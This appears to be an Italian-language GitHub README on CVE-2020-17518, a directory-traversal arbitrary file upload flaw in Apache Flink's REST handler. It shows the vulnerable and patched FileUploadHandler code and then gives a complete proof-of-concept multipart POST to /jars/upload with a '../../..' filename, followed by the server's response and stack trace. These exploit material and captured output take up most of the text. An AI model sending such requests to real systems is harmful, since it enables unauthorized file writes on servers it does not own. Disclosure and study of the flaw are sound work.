murataydemir/cve-2020-17518[CVE-2020-17518] Apache Flink RESTful API: Caricamento arbitrario di file tramite Directory Traversal
[CVE-2020-17518] Apache Flink RESTful API: caricamento arbitrario di file tramite directory traversal
Apache Flink è un framework e motore di elaborazione distribuita per calcoli con stato su flussi di dati illimitati e limitati, sviluppato utilizzando Java e Scala. Un gestore REST introdotto in Apache Flink 1.5.1 è affetto da una vulnerabilità di caricamento arbitrario di file tramite directory traversal. Questa vulnerabilità consente agli attaccanti di caricare file in directory arbitrarie sul filesystem locale tramite richieste HTTP appositamente costruite.
Sebbene tutte le versioni precedenti alla 1.11.3 siano affette dalla vulnerabilità, Apache Flink ha corretto la vulnerabilità per le versioni 1.11.3 e successive.
Il codice vulnerabile è la classe src/main/java/org/apache/flink/runtime/rest/FileUploadHandler.java. Il frammento di codice correlato è riportato di seguito.
import javax.annotation.Nullable;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
final DiskFileUpload fileUpload = (DiskFileUpload) data;
checkState(fileUpload.isCompleted());
final Path dest = currentUploadDir.resolve(fileUpload.getFilename());
fileUpload.renameTo(dest.toFile());
LOG.trace("Upload of file {} complete.", fileUpload.getFilename());
} else if (data.getHttpDataType() == InterfaceHttpData.HttpDataType.Attribute) {
final Attribute request = (Attribute) data;
Il problema è che l'input utente, rappresentato dal parametro filename, non viene sanitizzato in alcun modo. Con questo commit, la vulnerabilità è stata corretta: per rimuovere qualsiasi informazione di percorso, il filename viene racchiuso in un'altra istanza di file.
import javax.annotation.Nullable;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
final DiskFileUpload fileUpload = (DiskFileUpload) data;
checkState(fileUpload.isCompleted());
//final Path dest = currentUploadDir.resolve(fileUpload.getFilename());
final Path dest = currentUploadDir.resolve(new File(fileUpload.getFilename()).getName());
fileUpload.renameTo(dest.toFile());
//LOG.trace("Upload of file {} complete.", fileUpload.getFilename());
LOG.trace("Upload of file {} into destination {} complete.", fileUpload.getFilename(), dest.toString());
} else if (data.getHttpDataType() == InterfaceHttpData.HttpDataType.Attribute) {
final Attribute request = (Attribute) data;
Prova di concetto (PoC): Per sfruttare questa vulnerabilità, è possibile utilizzare la seguente richiesta
POST /jars/upload HTTP/1.1
Host: vulnerablehost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 217
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/CVE-2020-17519-PoC.txt"
This is the PoC file
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
Anche se il codice di stato della risposta è 400 Bad Request, il file viene caricato sul server con successo.
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=UTF-8
Access-Control-Allow-Origin: *
content-length: 6017
{"errors":["org.apache.flink.runtime.rest.handler.RestHandlerException: Exactly 1 file must be sent, received 0.\n\tat org.apache.flink.runtime.webmonitor.handlers.JarUploadHandler.handleRequest(JarUploadHandler.java:76)\n\tat org.apache.flink.runtime.rest.handler.AbstractRestHandler.respondToRequest(AbstractRestHandler.java:73)\n\tat org.apache.flink.runtime.rest.handler.AbstractHandler.respondAsLeader(AbstractHandler.java:178)\n\tat org.apache.flink.runtime.rest.handler.LeaderRetrievalHandler.lambda$channelRead0$0(LeaderRetrievalHandler.java:81)\n\tat java.util.Optional.ifPresent(Optional.java:159)\n\tat org.apache.flink.util.OptionalConsumer.ifPresent(OptionalConsumer.java:46)\n\tat org.apache.flink.runtime.rest.handler.LeaderRetrievalHandler.channelRead0(LeaderRetrievalHandler.java:78)\n\tat org.apache.flink.runtime.rest.handler.LeaderRetrievalHandler.channelRead0(LeaderRetrievalHandler.java:49)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.SimpleChannelInboundHandler.channelRead(SimpleChannelInboundHandler.java:105)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:374)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:360)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:352)\n\tat org.apache.flink.runtime.rest.handler.router.RouterHandler.routed(RouterHandler.java:110)\n\tat org.apache.flink.runtime.rest.handler.router.RouterHandler.channelRead0(RouterHandler.java:89)\n\tat org.apache.flink.runtime.rest.handler.router.RouterHandler.channelRead0(RouterHandler.java:54)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.SimpleChannelInboundHandler.channelRead(SimpleChannelInboundHandler.java:105)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:374)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:360)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:352)\n\tat org.apache.flink.shaded.netty4.io.netty.handler.codec.MessageToMessageDecoder.channelRead(MessageToMessageDecoder.java:102)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:374)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:360)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:352)\n\tat org.apache.flink.runtime.rest.FileUploadHandler.channelRead0(FileUploadHandler.java:169)\n\tat org.apache.flink.runtime.rest.FileUploadHandler.channelRead0(FileUploadHandler.java:68)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.SimpleChannelInboundHandler.channelRead(SimpleChannelInboundHandler.java:105)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:374)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:360)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:352)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.CombinedChannelDuplexHandler$DelegatingChannelHandlerContext.fireChannelRead(CombinedChannelDuplexHandler.java:438)\n\tat org.apache.flink.shaded.netty4.io.netty.handler.codec.ByteToMessageDecoder.fireChannelRead(ByteToMessageDecoder.java:328)\n\tat org.apache.flink.shaded.netty4.io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:302)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.CombinedChannelDuplexHandler.channelRead(CombinedChannelDuplexHandler.java:253)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:374)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:360)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:352)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1421)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:374)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:360)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:930)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe.read(AbstractNioByteChannel.java:163)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.nio.NioEventLoop.processSelectedKey(NioEventLoop.java:697)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.nio.NioEventLoop.processSelectedKeysOptimized(NioEventLoop.java:632)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.nio.NioEventLoop.processSelectedKeys(NioEventLoop.java:549)\n\tat org.apache.flink.shaded.netty4.io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:511)\n\tat org.apache.flink.shaded.netty4.io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:918)\n\tat org.apache.flink.shaded.netty4.io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74)\n\tat java.lang.Thread.run(Thread.java:748)\n"]}
